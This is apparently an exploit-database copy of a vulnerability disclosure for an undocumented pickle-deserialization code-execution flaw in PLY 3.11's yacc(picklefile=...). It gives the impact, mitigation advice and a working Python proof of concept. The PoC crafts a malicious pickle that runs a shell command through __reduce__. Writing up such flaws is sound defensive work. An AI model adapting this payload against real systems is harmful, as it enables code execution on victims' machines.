Share
## https://sploitus.com/exploit?id=PACKETSTORM:214433
# 🚨 Undocumented Remote Code Execution in PLY CVE‑2025‑56005
    
    ```
    CVE ID: CVE‑2025‑56005
    Reported by: Ahmed Abd
    Disclosure Date: July 1, 2025
    Affected Product: PLY (Python Lex‑Yacc)
    Affected Version: 3.11 (PyPI distribution)
    Vendor: PLY (Python Lex‑Yacc)
    Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
    
    ```
    ## Summary
    
    An undocumented and unsafe feature in the PyPI‑distributed version of **PLY 3.11** allows **arbitrary code execution** when the `yacc()` function is invoked with the `picklefile` parameter.
    
    The `picklefile` parameter causes PLY to deserialize a `.pkl` file using Python’s `pickle.load()` **without validation**. Because Python’s `pickle` module supports execution of arbitrary code during deserialization (e.g., via `__reduce__()`), an attacker who can control the supplied pickle file can execute arbitrary code during parser initialization.
    
    This parameter is **not documented** in the official PLY documentation or GitHub repository, yet it is active in the PyPI release.
    
    ---
    
    ## Impact
    
    attacker can control, replace, or influence the `.pkl` file passed to `yacc(picklefile=...)`, they can achieve:
    
    * Arbitrary code execution
    * Execution during application startup
    * Code execution before any parsing logic is reached
    
    This may affect applications that load parser tables from:
    
    * Cached locations
    * Shared directories
    * CI/CD pipelines
    * Configurable or writable paths
    
    ---
    
    ## 🔍 Vulnerability Details
    
    * **Vulnerability Type:** Arbitrary Code Execution
    * **Attack Type:** Context‑dependent
    * **Attack Vector:** Unsafe deserialization of attacker‑controlled pickle file
    * **Impact:** Code execution
    * **CWE:** CWE‑502 (Deserialization of Untrusted Data)
    
    ### Affected Functionality
    
    * `ply.yacc.yacc(picklefile=...)`
    * `LRTable.read_pickle()` in `ply/yacc.py`
    
    ---
    
    ## Additional Information (Context & Risk)
    
    This vulnerability presents elevated risk due to its **stealthy nature** and potential for **persistence**.
    
    The `picklefile` parameter is **undocumented** in the official PLY documentation and GitHub repository. However, the PyPI‑distributed version of PLY 3.11 includes this functionality and processes the supplied file using `pickle.load()` without validation.
    
    Because Python’s `pickle` module permits execution of embedded code during deserialization, a malicious pickle file can execute arbitrary code **during parser setup**, before any parsing logic is invoked.
    
    At the time of writing, the maintainer has not publicly acknowledged this behavior.
    
    This functionality can be abused to introduce **persistent backdoors**, particularly in environments where parser table files are:
    
    * Cached on disk
    * Shared between users or services
    * Generated or reused in CI/CD pipelines
    * Loaded from configurable or writable paths
    
    Given the lack of documentation, silent execution path, and the high impact of unsafe deserialization, a CVE assignment is warranted to raise awareness and protect downstream users.
    
    ---
    
    ## Proof of Concept (PoC)
    
    This proof of concept demonstrates arbitrary code execution when a malicious pickle file is supplied via the undocumented `picklefile` parameter.
    
    ### PoC Overview
    
    The PoC:
    
    * Defines a minimal lexer and parser
    * Crafts a malicious pickle payload
    * Executes a system command during deserialization
    
    ### Expected Result
    
    When `yacc(picklefile='exploit.pkl')` is invoked, arbitrary code is executed during parser initialization.
    
    ```python
    import pickle
    import os
    from ply.lex import lex
    from ply.yacc import yacc
    
    tokens = ('EXAMPLE',)
    
    def t_EXAMPLE(t):
        r'example'
        return t
    
    def p_sample(p):
        'sample : EXAMPLE'
        pass
    
    class Exploit:
        def __reduce__(self):
            cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
            return (os.system, (cmd,))
    
    malicious_data = {
        '_tabversion': '3.11',
        '_lr_action': {0: {}},
        '_lr_goto': {0: {}},
        '_lr_productions': [
            (None, 0, 0, 0, Exploit())
        ],
        '_lr_method': 'LALR'
    }
    
    with open('exploit.pkl', 'wb') as f:
        pickle.dump(malicious_data, f)
    
    parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
    parser.parse('example')
    ```
    
    ---
    
    ## Mitigation
    
    * Do **not** use the `picklefile` parameter with untrusted or externally writable files
    * Avoid loading parser tables from user‑controlled locations
    * Treat all pickle files as **unsafe input**
    * Prefer regenerating parser tables rather than loading them from disk
    
    ---
    
    
    ## References
    
    * PLY GitHub Repository: [https://github.com/dabeaz/ply](https://github.com/dabeaz/ply)
    * PyPI Package: [https://pypi.org/project/ply/](https://pypi.org/project/ply/)
    * Python Pickle Documentation: [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)
    * Proof of Concept Repository:
      [https://github.com/bohmiiidd/Undocumented-RCE-in-PLY](https://github.com/bohmiiidd/Undocumented-RCE-in-PLY)